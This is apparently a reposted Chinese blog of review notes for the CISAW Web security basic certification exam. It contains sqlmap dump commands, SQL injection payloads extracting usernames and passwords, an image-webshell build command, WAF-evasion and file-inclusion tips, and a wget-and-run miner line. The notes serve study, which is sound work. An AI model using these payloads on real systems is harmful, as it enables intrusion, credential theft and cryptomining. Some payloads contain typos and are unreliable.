web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩
當(dāng)你的才華
還撐不起你的野心時(shí)
那你就應(yīng)該靜下心來學(xué)習(xí)
明天要考CISAW-Web安全基礎(chǔ)級(jí)證書,復(fù)習(xí)整理一下思路,明天考試
目錄
sql注入時(shí),使用sqlmap注入mysql和access數(shù)據(jù)庫有什么不同
sql注入
命令執(zhí)行:
xss:
csrf
xxe
ssrf
代碼審計(jì):
php基本功:
python:
sql注入時(shí),使用sqlmap注入mysql和access數(shù)據(jù)庫有什么不同
三個(gè)給分點(diǎn):
1.命令
mysql:
sqlmap? ?-u? ?url? ?--dbs
sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?--tables
sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?-T? 表名? ?--columns
sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?-T? 表名? ?-C 字段名? ?--dump
2. access:
sqlmap -u? ?url? ?--tables
sqlmap -u? ?url? ?--columns? ?-T 表名
sqlmap -u? ?url? ?-T? 表名? ? ? -C 字段名? ? --dump
3. 說出sqlmap為什么注入access沒有dbs
Access 每個(gè)數(shù)據(jù)就是個(gè)單獨(dú)文件,每個(gè)Access 只有表結(jié)構(gòu)
圖片馬的制作:
寫出命令即可
/a
ASCIl文本文件(默認(rèn)
/b
二進(jìn)制文件復(fù)制——將復(fù)制擴(kuò)展字符
windows
copy 1.jpg /b + 2.php /a? hack.jpg
linux
cp 1.jpg /b + 2.php /a hack.jpg
sql注入
1.union
# 判斷是否存在注入
?id=1'
# 判斷該注入點(diǎn)的長度是多少
?id=1' order by * --+
# 確認(rèn)長度為*后(長度為3),獲取系統(tǒng)信息(分別使用 user()、database()、version(),來進(jìn)行查詢)
?id=1' union select 1,2,version() --+
# 爆表
?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='數(shù)據(jù)庫名' limit 0,1 --+
# 爆字段
id=1' union select 1,2,table_column from information_schema.columns
where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1 --+
# 爆賬號(hào)和密碼
?id=1' union select 1,username,password from users limit 0,1 --+
? Booleanbase(普通盲注)
? Timebase(時(shí)間盲注)
? Errorbase(基于報(bào)錯(cuò)的盲注)。
至于具體分別,我們?cè)诤竺娴脑囼?yàn)中會(huì)學(xué)習(xí)到。 首先我們要知道在盲注中經(jīng)常用到的一些方式:
? left(database(),1) 返回 database()的最左面 1 個(gè)字符
? length(databse()) 返回?cái)?shù)據(jù)庫的長度
? substr(a,b,c) 從 b 位置開始,截取字符串 a 的 c 長度
? ascii() 將某個(gè)字符轉(zhuǎn)換為 ascii 值
? mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
# 盲注猜解系統(tǒng)版本號(hào)左邊開頭信息
?id=1' and left(version(),1)=5 --+
# 盲注猜解系統(tǒng)版本長度
?id=1' and length(version())=* --+
# 盲注猜解數(shù)據(jù)庫版本信息內(nèi)容
?id=1' and left(version,1) > '*' --+
# 盲注猜解數(shù)據(jù)庫的表的名稱
?id=1' and ascii(substr((select table_name from information_schema.
tables where table_shcema=database() limit 0,1),1,1)) > 100 --+
# 盲注猜解數(shù)據(jù)庫表的列名
id=1' and ascii(substr((select table_column from information_schema
columns where table_shcema='數(shù)據(jù)庫名' and table_name='表名'
limit 0,1),1,1)) > 99 --+
# 盲注猜解列名的內(nèi)容
# 0x20 可以作為整型常量和單字節(jié)表示,在這里作為單字節(jié)表示,可用于字符型變量的賦值,用于char時(shí),其代表ascii碼值0x20,即字符空格''
?id=1' and 1=(select ifnull(cast(username as char),0x20) from
數(shù)據(jù)庫名.表名 order by id limi 0,1),1,)) = 68 --+
# 判斷數(shù)據(jù)庫
?id=1' and 1=(select 1 from information_schema.columns where
table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+
2.bool
# 判斷,同理表名字,段名
?id=1' and length(version())=8 --+
# 爆庫名
?id=1' and left((select database()),8)='security'--+
# 爆表,爆字段,爆值
3.報(bào)錯(cuò)(extractvalue()函數(shù) / updatexml()函數(shù) / floor()函數(shù))
MySQL 5.1.5版本中添加了對(duì)XML文檔進(jìn)行查詢和修改的函數(shù),分別是ExtractValue()和UpdateXML()
注:updatexml注入
首先了解下updatexml()函數(shù)
UPDATEXML (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
作用:改變文檔中符合條件的節(jié)點(diǎn)的值
4.time(sleep() / benchmark)
# 判斷是否存在延時(shí)注入
?id=1' and sleep(3) --+
# 判斷數(shù)據(jù)庫長度是否為4,如果為真則延時(shí)3秒加載也沒,為false則返回1
?id=1' and if(length(database())=4,sleep(3),1) --+
# 猜解數(shù)據(jù)庫名稱
?id=1' and if(left(database(),1)='d',sleep(3),1)--+
# 猜解表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
# 猜解密碼字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
# 猜解賬號(hào)字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
# 猜解密碼字段內(nèi)容
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
# 猜解賬號(hào)字段內(nèi)容
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
數(shù)據(jù)庫
1.mysql(information_schema)
2.mssql(注入靠比大小)
3.access(沒有庫結(jié)構(gòu),只有表列)
注入點(diǎn):
1.int
2.string
文件上傳:
1. 木馬
大馬/小馬
??大馬(功能多,代碼量大)
??小馬(功能單一,一行解決)
什么情況下用小馬?什么情況下用大馬?什么時(shí)候用過狗馬?
??過狗小馬:冰蝎小馬
?過狗大馬:過狗大馬
答:遇到安全狗,直接上大馬。原因是菜刀流量特征明顯,而大馬是正常文件正常訪問。小馬需要菜刀連接,而大馬不需要
2.上傳點(diǎn)
?頭像
?文件管理
?附件管理
3.上傳繞過
前端驗(yàn)證
禁用js
類型檢測
mime
后綴名檢測
各種截?cái)?/p>
頭檢測
冰蝎圖片木馬
圖片二次渲染
上傳普通圖片,判斷渲染前和渲染后不變的位置
文件包含
遠(yuǎn)程文件包含(allow_url_include)
包含http路徑,引入webshell
本地文件
包含本地敏感文件(/etc/passwd,config.ini)
偽協(xié)議
php://input? ? ?輸入/輸出流
php://input
php://filter? ? ? PHP 歸檔
?file=zip://[壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名] zip://xxx.png#shell.php
file://? ? ? ? ? ? ? 訪問本地文件系統(tǒng)
file://etc/passwd
phar://? ? ? ? ? ??PHP 歸檔(php解壓縮包的一個(gè)函數(shù),不管后綴是什么,都會(huì)當(dāng)做壓縮包來解壓)
用法:?file=phar://壓縮包/內(nèi)部文件 phar://xxx.png/shell.php
zip://? ? ? ? ? ? ?跟phar 類似,但用法不太一樣
?file=zip://[壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名] zip://xxx.png#shell.php
命令執(zhí)行:
危險(xiǎn)函數(shù)(exec/system/shell_exec/popen/passthru)
代碼執(zhí)行:
危險(xiǎn)函數(shù)(eval/assert/preg_replace /e參數(shù))
反序列化:
原理:
構(gòu)造函數(shù)__construct
析構(gòu)函數(shù)__distruct
__sleep
__weekup
定義的類中的方法在serialize/unserialize時(shí)候引用方法,導(dǎo)致(變量覆蓋,傳入惡意代碼)進(jìn)而危害系統(tǒng)安全
xss:
xss本質(zhì)是惡意的js代碼插入到前端頁面中執(zhí)行
類型:
1.反射型
危害小,一次性,常用作釣魚
2.存儲(chǔ)型
危害大,持久型(常常存在數(shù)據(jù)庫中),常用來打cookie或截圖,getshell
3.dom型
新型xss,通常認(rèn)為是反射型,出現(xiàn)在各種事件處,最新研究可以是持久型
csrf
通常和xss連用,不獲取cookie,而是通過誘導(dǎo)點(diǎn)擊/ajax偽造發(fā)包等方式發(fā)起偽造請(qǐng)求
xxe
xml外部實(shí)體注入,可以引入外部實(shí)體實(shí)現(xiàn)讀取本地敏感文件
ssrf
服務(wù)器端請(qǐng)求偽造
文件包含(include url)
命令執(zhí)行(wget url)
危害:
可以控制服務(wù)器掃描內(nèi)網(wǎng)
可以控制服務(wù)器下載挖礦(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)
代碼審計(jì):
思路:
1.危險(xiǎn)函數(shù)里邊的可控變量
2.外部接受的變量傳遞流程
3.單個(gè)模塊功能審計(jì)
php基本功:
函數(shù)(過濾,執(zhí)行,string調(diào)整,匹配對(duì)比)
python:
變量
四則運(yùn)算
邏輯控制(if else)
循環(huán)(for while)
函數(shù)
庫(豐富的庫,requests/bs4/urllib2,os/sys,xls,math,iso)
我不需要自由,只想背著她的夢
一步步向前走,她給的永遠(yuǎn)不重
總結(jié)
以上是生活随笔為你收集整理的web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 高效备考CISAW认证考试
- 下一篇: ArcGIS教程 - 附录:城市规划制图